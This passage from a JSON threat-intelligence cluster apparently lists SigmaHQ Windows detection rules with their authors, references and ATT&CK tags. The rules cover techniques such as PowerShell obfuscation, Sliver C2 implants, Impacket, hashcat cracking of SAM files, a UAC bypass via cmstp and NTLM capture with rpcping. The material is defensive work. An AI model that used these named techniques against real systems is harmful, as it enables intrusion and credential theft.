          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c",
      "value": "PowerShell Base64 Encoded FromBase64String Cmdlet"
    },
    {
      "description": "Detects suspicious PowerShell invocation with a parameter substring",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_susp_parameter_variation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "36210e0d-5b19-485d-a087-c096088885f0",
      "value": "Suspicious PowerShell Parameter Substring"
    },
    {
      "description": "Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_bcdedit_boot_conf_tamper.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_boot_conf_tamper.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "1444443e-6757-43e4-9ea4-c8fc705f79a2",
      "value": "Boot Configuration Tampering Via Bcdedit.EXE"
    },
    {
      "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.",
      "meta": {
        "author": "Julia Fomina, oscd.community",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Use of Program Compatibility Troubleshooter Helper"
        ],
        "filename": "proc_creation_win_lolbin_pcwutl.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/harr0ey/status/989617817849876488",
          "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwutl.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9386d78a-7207-4048-9c9f-a93a7c2d1c05",
      "value": "Code Execution via Pcwutl.dll"
    },
    {
      "description": "Detects powershell scripts that import modules from suspicious directories",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_import_module_susp_dirs.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_import_module_susp_dirs.yml"
        ],
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          "attack.t1059.001"
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "c31364f7-8be6-4b77-8483-dd2b5a7b69a3",
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    },
    {
      "description": "Detects suspicious print spool service (spoolsv.exe) child processes.",
      "meta": {
        "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)",
        "creation_date": "2021/07/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_spoolsv_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spoolsv_susp_child_processes.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1203",
          "attack.privilege_escalation",
          "attack.t1068"
        ]
      },
      "related": [
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "dcdbc940-0bff-46b2-95f3-2d73f848e33b",
      "value": "Suspicious Spool Service Child Process"
    },
    {
      "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2020/05/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_crackmapexec_powershell_obfuscation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/byt3bl33d3r/CrackMapExec",
          "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_powershell_obfuscation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.defense_evasion",
          "attack.t1027.005"
        ]
      },
      "related": [
        {
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          "tags": [
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          ],
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        },
        {
          "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6f8b3439-a203-45dc-a88b-abf57ea15ccf",
      "value": "HackTool - CrackMapExec PowerShell Obfuscation"
    },
    {
      "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/25",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_sliver_c2_execution_pattern.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/",
          "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sliver_c2_execution_pattern.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "42333b2c-b425-441c-b70e-99404a17170f",
      "value": "HackTool - Sliver C2 Implant Activity Pattern"
    },
    {
      "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.",
      "meta": {
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "creation_date": "2022/06/01",
        "falsepositive": [
          "Legitimate testing of Microsoft UI parts."
        ],
        "filename": "proc_creation_win_lolbin_visualuiaverifynative.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/",
          "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad",
          "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/",
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b30a8bc5-e21b-4ca2-9420-0a94019ac56a",
      "value": "Use of VisualUiaVerifyNative.exe"
    },
    {
      "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems",
      "meta": {
        "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'",
        "creation_date": "2021/12/07",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_netsh_fw_rules_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules",
          "https://ss64.com/nt/netsh.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_rules_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1016"
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      },
      "related": [
        {
          "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0e4164da-94bc-450d-a7be-a4b176179f1f",
      "value": "Suspicious Firewall Configuration Discovery Via Netsh.EXE"
    },
    {
      "description": "Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/27",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_execution_via_pe_metadata.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files",
          "https://github.com/cube0x0",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_pe_metadata.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1588.002",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "37c1333a-a0db-48be-b64b-7393b2386e3b",
      "value": "Suspicious Hacktool Execution - PE Metadata"
    },
    {
      "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "Legitimate use of the impacket tools"
        ],
        "filename": "proc_creation_win_hktl_impacket_tools.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_tools.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1557.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19",
      "value": "HackTool - Impacket Tools Execution"
    },
    {
      "description": "Detects execution of \"rundll32.exe\" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.",
      "meta": {
        "author": "CD_ROM_",
        "creation_date": "2022/05/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_parent_explorer.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
          "https://redcanary.com/blog/raspberry-robin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713",
      "value": "Rundll32 Spawned Via Explorer.EXE"
    },
    {
      "description": "Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.",
      "meta": {
        "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_reg_loader.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1053.005",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "86588b36-c6d3-465f-9cee-8f9093e07798",
      "value": "Scheduled Task Executing Payload from Registry"
    },
    {
      "description": "Detects execution of \"odbcconf\" with the \"REGSVR\" action where the DLL in question doesn't contain a \".dll\" extension. Which is often used as a method to evade defenses.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_odbcconf_register_dll_regsvr_susp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html",
          "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
          "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr_susp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ba4cfc11-d0fa-4d94-bf20-7c332c412e76",
      "value": "Potentially Suspicious DLL Registered Via Odbcconf.EXE"
    },
    {
      "description": "Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).",
      "meta": {
        "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2018/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_outlook_susp_child_processes_remote.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=49",
          "https://github.com/sensepost/ruler",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes_remote.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e212d415-0e93-435f-9e1a-f29005bb4723",
      "value": "Suspicious Remote Child Process From Outlook"
    },
    {
      "description": "Detects \"svchost.exe\" spawning \"rundll32.exe\" with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2023/03/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_webdav_client_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/",
          "https://twitter.com/aceresponder/status/1636116096506818562",
          "https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png",
          "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/",
          "https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_susp_execution.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.003",
          "cve.2023.23397"
        ]
      },
      "related": [
        {
          "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "982e9f2d-1a85-4d5b-aea4-31f5e97c6555",
      "value": "Suspicious WebDav Client Execution Via Rundll32.EXE"
    },
    {
      "description": "Detects uncommon or suspicious child processes spawning from a VsCode \"code.exe\" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/26",
        "falsepositive": [
          "In development environment where VsCode is used heavily. False positives may occur when developers use task to compile or execute different types of code. Remove or add processes accordingly"
        ],
        "filename": "proc_creation_win_vscode_child_processes_anomalies.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1618021838407495681",
          "https://twitter.com/nas_bench/status/1618021415852335105",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_child_processes_anomalies.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5a3164f2-b373-4152-93cf-090b13c12d27",
      "value": "Potentially Suspicious Child Process Of VsCode"
    },
    {
      "description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/12",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_susp_add_user_local_admin_group.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_local_admin_group.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ad720b90-25ad-43ff-9b5e-5c841facc8e5",
      "value": "Add User to Local Administrators Group"
    },
    {
      "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).",
      "meta": {
        "author": "Sittikorn S",
        "creation_date": "2021/06/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_scrcons_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html",
          "https://redcanary.com/blog/child-processes/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_scrcons_susp_child_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f6d1dd2f-b8ce-40ca-bc23-062efb686b34",
      "value": "Script Event Consumer Spawning Process"
    },
    {
      "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/27",
        "falsepositive": [
          "Tools that use similar command line flags and values"
        ],
        "filename": "proc_creation_win_hktl_hashcat.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat",
          "https://hashcat.net/wiki/doku.php?id=hashcat",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_hashcat.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1110.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "39b31e81-5f5f-4898-9c0e-2160cfc0f9bf",
      "value": "HackTool - Hashcat Password Cracker Execution"
    },
    {
      "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate use of cmstp.exe utility by legitimate user"
        ],
        "filename": "proc_creation_win_uac_bypass_cmstp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md",
          "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/",
          "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1548.002",
          "attack.t1218.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e66779cc-383e-4224-a3a4-267eeb585c40",
      "value": "Bypass UAC via CMSTP"
    },
    {
      "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.",
      "meta": {
        "author": "Julia Fomina, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_rpcping_credential_capture.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/vysecurity/status/873181705024266241",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)",
          "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/",
          "https://twitter.com/vysecurity/status/974806438316072960",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "93671f99-04eb-4ab4-a161-70d446a84003",
      "value": "Capture Credentials with Rpcping.exe"
    },
    {
      "description": "Detects the creation of a process from Windows task manager",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/03/13",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_taskmgr_susp_child_process.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3d7679bd-0c00-440c-97b0-3f204273e6c7",
      "value": "Taskmgr as Parent"
    },
    {
      "description": "Detects the use of Advanced Port Scanner.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/18",
        "falsepositive": [
          "Legitimate administrative use",
          "Tools with similar commandline (very rare)"
        ],
        "filename": "proc_creation_win_pua_advanced_port_scanner.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advanced_port_scanner.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1046",
          "attack.t1135"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "54773c5f-f1cc-4703-9126-2f797d96a69d",
      "value": "PUA - Advanced Port Scanner Execution"
    },
    {
      "description": "Detects file downloads directly from IP address URL using curl.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_curl_download_direct_ip_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv",
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_exec.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "9cc85849-3b02-4cb5-b371-3a1ff54f2218",
      "value": "File Download From IP URL Via Curl.EXE"
    },
    {
      "description": "Detects attackers attempting to disable Windows Defender using Powershell",
      "meta": {
